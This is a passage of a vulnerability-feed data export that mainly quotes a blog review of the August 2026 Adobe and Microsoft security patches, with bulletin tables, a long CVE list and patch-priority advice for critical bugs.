"c0386e13-4c3f-4458-9077-dde31abcff1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54782", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mq6qptuo322j", "content": "\ud83d\udd34 CVE-2026-54782 - Critical (10)\n\nCoreWCF is a port of the service side of Windows Communication Foundation (WCF) to .NET Core. Pri...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54782/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-09T04:00:54.682812Z"}, {"uuid": "ce0d9272-2325-4415-b7c2-de9b7bcdda90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54527", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mq6u6q5sii2e", "content": "Daily IT Security Digest \u2014 2026-07-09\nnot yet patched. Security teams should audit their environments against these disclosed exploit chains.\nSource: https://infosec.exchange/@AAKL/116851105666469635\n\n## 4. CRITICAL XSS in jupyterlab-git (CVE-2026-54527)", "creation_timestamp": "2026-07-09T05:02:54.480939Z"}, {"uuid": "50cc76c3-11c3-4aa6-a31b-a6b338d13e35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54113", "type": "seen", "source": "https://www.thezdi.com/blog/2026/8/11/the-august-2026-security-update-review", "content": "I\u2019ve successfully survived Hacker Summer Camp, and I have returned with a new outlook on patch density. When even Linus Torvalds says that huge updates are the \u201cnew normal\u201d, it\u2019s time to readjust what we consider a true bug apocalypse. This month\u2019s release is thankfully smaller than last months, but still huge by historical standards. Take a break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for August 2026\nFor the first part of the August release, Adobe released five bulletins addressing 51 unique CVEs in Adobe ColdFusion, Commerce, Lightroom Classic, Content Credentials SDK, and Adobe Campaign Classic.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\nAdobe Patches for August 2026\n\n\n\n  \nAdobe Patches for August 2026\n  \n\n    \n      \n        Bulletin ID\n        Product\n        CVE Count\n        Highest Severity\n        Highest CVSS\n        Exploited\n        Deployment Priority\n      \n    \n    \n      \n        APSB26-90\n        Adobe ColdFusion\n        15\n        Critical\n        10.0\n        No\n        1\n      \n      \n        APSB26-123\n        Adobe Campaign Classic\n        3\n        Critical\n        10.0\n        No\n        1\n      \n      \n        APSB26-92\n        Adobe Commerce\n        7\n        Critical\n        9.1\n        No\n        2\n      \n      \n        APSB26-94\n        Adobe Lightroom Classic\n        11\n        Critical\n        8.6\n        No\n        3\n      \n      \n        APSB26-111\n        Content Credentials SDK\n        15\n        Critical\n        7.5\n        No\n        3\n      \n      \n        TOTAL\n        5 bulletins\n        51\n        \n        \n        \n        \n      \n    \n  \n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n  \nIf you\u2019re running Campaign Classic, that\u2019s your priority. Not only is it a deployment priority of 1, but it also contains two different CVSS 10 bugs and supersedes the patch that was just released on August 3. ColdFusion is also deployment priority 1 and also contains a CVSS 10 bug. Adobe Commerce rates a priority 2 with code execution bugs as high as CVSS 9.1. The patches for Lightroom Classic and Content Credentials SDK are packed with CVEs, but only rate a deployment priority of 3.\nNone of the Adobe bugs receiving patches this month are listed as publicly known or under active attack at the time of release.\nMicrosoft Patches for August 2026\nThere are a couple of things to point out right at the beginning. Again, counting is difficult due to the size, but I see 398 new CVEs to go along with the other updates documented this month. However, there is only one listed being under active attack, so we\u2019ve got that going for us, which is nice. The release impacts Windows and Windows components, Office and Office Components, AMD Zen, Azure and Azure Components, GitHub Copilot, Windows Defender, Exchange Server, SharePoint, OneDrive for macOS, Teams, Power BI, .NET and Visual Studio, DHCP Server and Client, DNS Server, and Windows TPM. Minecraft is absent from this release.  All told, there are 62 rated Critical, one rated Moderate, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program.\nThis volume of updates indeed seems to be the new normal \u2013 at least for now. What is interesting is that, while there is an explosion of bugs being reported (and fixed), there has been no equivalent increase in the number of bugs being actively exploited, at least as 0-days.\nAgain, we\u2019ll start with the bug under active attack and move on from there. \n-              CVE-2026-68820 - Windows Ancillary Function Driver for WinSock Elevation of Privilege VulnerabilityThis bug allows attackers to execute code at SYSTEM level. Bugs of this type are often paired with code execution bugs to take over a system, often through phishing or ransomware. One nitpick here: Microsoft lists the Exploit Code Maturity in the CVSS as \u201cUnproven\u201d but calls this out as actively exploited. Somewhere, that math ain\u2019t mathing.\n-              CVE-2026-62878 - Windows DNS Server Remote Code Execution VulnerabilityThere are several DNS-related patches this month, but this one stands out by far. It allows a remote, unauthenticated attacker to execute code with elevated privileges without user interaction. It\u2019s a good ol\u2019 fashioned stack-based buffer overflow that ends up wormable. Microsoft states exploitation is less likely, but I wouldn\u2019t count on that. I suggest testing and deploying this one quickly, especially to your Internet-facing DNS servers.\n -              CVE-2026-62893 - Windows Deployment Services TFTP Server Remote Code Execution VulnerabilityThis bug came through the ZDI program and allows for code execution without user authentication or user interaction. TFTP has no auth mechanism and is available remotely vid UDP port 69. Any WDS server serving Windows Imaging Format (WIM) files via TFTP (the standard PXE boot scenario) is vulnerable. The issue results from the lack of validating the existence of an object prior to performing operations on the object. UDP port 69 should be blocked at your perimeter, but this could easily be used by attackers for lateral movement within an enterprise. Again, test and deploy this one quickly if you\u2019re using WDS for deployments in your enterprise.\n -              CVE-2026-62815 - Microsoft QUIC Remote Code Execution VulnerabilityHere we have another remote, unauthenticated code execution bug that doesn\u2019t require user interaction. This one is in the QUIC component. If you aren\u2019t familiar with it, QUIC is an IETF-standardized transport protocol that runs over UDP instead of TCP, and it's the foundation for HTTP/3. Roughly 13.5 million websites rely on it. If you are one of those millions, test and deploy this patch rapidly.\n -              CVE-2026-59124 - Microsoft High Performance Computing (HPC) Pack Remote Code Execution VulnerabilityDon\u2019t let the Important severity rating fool you; this is still a CVSS 9.8 bug. It gets knocked down since HPC isn\u2019t on by default. However, it\u2019s a hugely growing segment, and this is another remote, unauthenticated code execution bug that does not require user interaction. It might not be applicable to everyone, but if you\u2019re using HPC in your environment, this is not one to sleep on, especially since Microsoft lists this as \u201cexploitation more likely\u201d.\n -              CVE-2026-62911 - Microsoft Exchange Server Elevation of Privilege VulnerabilityThere are several Exchange bugs in this release, but this one really stands out. It could allow a privilege escalation via an authentication bypass. If successful, an attacker could \u201ctake over the mailboxes of all Exchange users, attackers can send emails, read emails, download attachments.\u201d This bug was one of the ones demonstrated at Pwn2Own Berlin, so ignore Microsoft\u2019s exploitability and Exploit Code Maturity ratings. We handed them working exploits, so this is a real threat. As always, test out those Exchange updates before deploying, but don\u2019t hurry up and schedule that downtime for your upgrade. \nHere\u2019s the full list of CVEs released by Microsoft for August 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-68820\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-62832\n  Windows User Profile\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  No\n  EoP\n \n \n  CVE-2026-49163 **\n  Application Insights\n  Profiler Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50481 **\n  Azure Active Directory\n  Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-68823 **\n  Azure Confidential\n  Ledger Remote Code Execution Vulnerability\n  Critical\n  9.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62869 **\n  Azure Entra ID\n  Spoofing Vulnerability\n  Critical\n  8.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56161 **\n  Azure Logic Apps\n  Information Disclosure Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50515 **\n  Azure Service Bus\n  Remote Code Execution Vulnerability\n  Critical\n  9.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-56162 **\n  Azure SQL Database\n  Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  EoP\n \n \n  CVE-2026-63522 **\n  Azure SQL Database\n  Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62836 **\n  Azure SQL Managed\n  Instance Elevation of Privilege Vulnerability\n  Critical\n  8.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62830 **\n  Azure SRE Agent\n  Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-62873 **\n  Microsoft 365 Admin\n  Center Elevation of Privilege Vulnerability\n  Critical\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50516 **\n  Microsoft Azure\n  Kubernetes Service Elevation of Privilege Vulnerability\n  Critical\n  9.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-59115 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-68794\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68804\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68816\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62911\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Critical\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-63513\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63519\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63526\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65664\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66807\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63515\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63532\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64898\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64903\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64909\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64910\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64911\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65657\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70130\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-70332 **\n  Microsoft Office\n  SharePoint Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63518\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63525\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64907\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63508 **\n  Microsoft Planetary\n  Computer Pro Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  EoP\n \n \n  CVE-2026-59118 **\n  Microsoft Power Apps\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-65668 **\n  Microsoft Purview\n  eDiscovery Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62815\n  Microsoft QUIC Remote\n  Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62827\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-64921\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65665\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62896 **\n  Microsoft Teams\n  Elevation of Privilege Vulnerability\n  Critical\n  9.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-65667 **\n  Microsoft Teams\n  Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  EoP\n \n \n  CVE-2026-62918 **\n  Microsoft Teams\n  Spoofing Vulnerability\n  Critical\n  7.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62824\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62818\n  Windows Active\n  Directory Certificate Services (AD CS) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62893\n  Windows Deployment\n  Services TFTP Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66802\n  Windows Device Health\n  Attestation (DHA) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-71331\n  Windows Device Health\n  Attestation (DHA) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62823\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62817\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62820\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62878\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65789\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62890\n  Windows GDI+ Elevation\n  of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62822\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65791\n  Windows iSCSI Target\n  Service Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66799\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62816\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62819\n  Windows Routing and\n  Remote Access Service (RRAS) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62889\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-70354\n  .NET Core Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62901\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58641\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62871\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62886\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62909\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62872\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65810\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62897\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  RCE\n \n \n  CVE-2026-62900\n  .NET Information\n  Disclosure Vulnerability\n  Important\n  5.9\n  No\n  No\n  Info\n \n \n  CVE-2026-62902\n  .NET Information\n  Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62899\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  5.9\n  No\n  No\n  SFB\n \n \n  CVE-2026-65777\n  Active Directory\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-59130\n  AMD Zen Information\n  Disclosure Vulnerability\n  Important\n  5.6\n  No\n  No\n  Info\n \n \n  CVE-2026-59131\n  AMD Zen Information\n  Disclosure Vulnerability\n  Important\n  5.6\n  No\n  No\n  Info\n \n \n  CVE-2026-62898\n   Microsoft QUIC Information Disclosure\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61357\n  Application\n  Information Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70340\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-65806\n  Azure CycleCloud\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47299\n  Azure Monitor Agent\n  Elevation of Privilege Vulnerability\n  Important\n  7.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-57104\n  Azure Storage Explorer\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62892\n  Capability Access\n  Management Service (camsvc) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65675\n  CoPilot Chat Security\n  Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-65786\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65787\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65788\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70335\n  GitHub Copilot and\n  Visual Studio Code Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-64906\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64908\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64912\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64914\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64919\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64920\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-59136\n  Microsoft COM for\n  Windows Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54123\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62698\n  Microsoft Digest\n  Authentication Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-66301\n  Microsoft Dynamics 365\n  (On-Premises) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65815\n  Microsoft Dynamics 365\n  On-Premises Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-40375\n  Microsoft Dynamics\n  Business Central Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65673\n  Microsoft Entra\n  Connect Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-68797\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68799\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68802\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68808\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68813\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70318\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70327\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70328\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65807\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68793\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68795\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68796\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68798\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68800\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68801\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68803\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68805\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68806\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68807\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68810\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68811\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68812\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68814\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68815\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68817\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62912\n  Microsoft Exchange\n  Server Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62910\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-65813\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-62913\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62915\n  Microsoft Exchange\n  Server Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-62914\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-59133\n  Microsoft High\n  Performance Computing (HPC) Pack Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59124\n  Microsoft High\n  Performance Computing (HPC) Pack Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62784\n  Microsoft Local\n  Security Authority Server (lsasrv) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68792\n  Microsoft Office\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62842\n  Microsoft Office\n  Graphics Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63517\n  Microsoft Office\n  Graphics Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-66809\n  Microsoft Office\n  Graphics Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63524\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63529\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-64899\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70314\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70315\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70317\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70323\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63533\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64904\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65656\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65661\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57105\n  Microsoft Office\n  SharePoint Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-70306\n  Microsoft Office\n  SharePoint Spoofing Vulnerability\n  Important\n  9.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63521\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63528\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  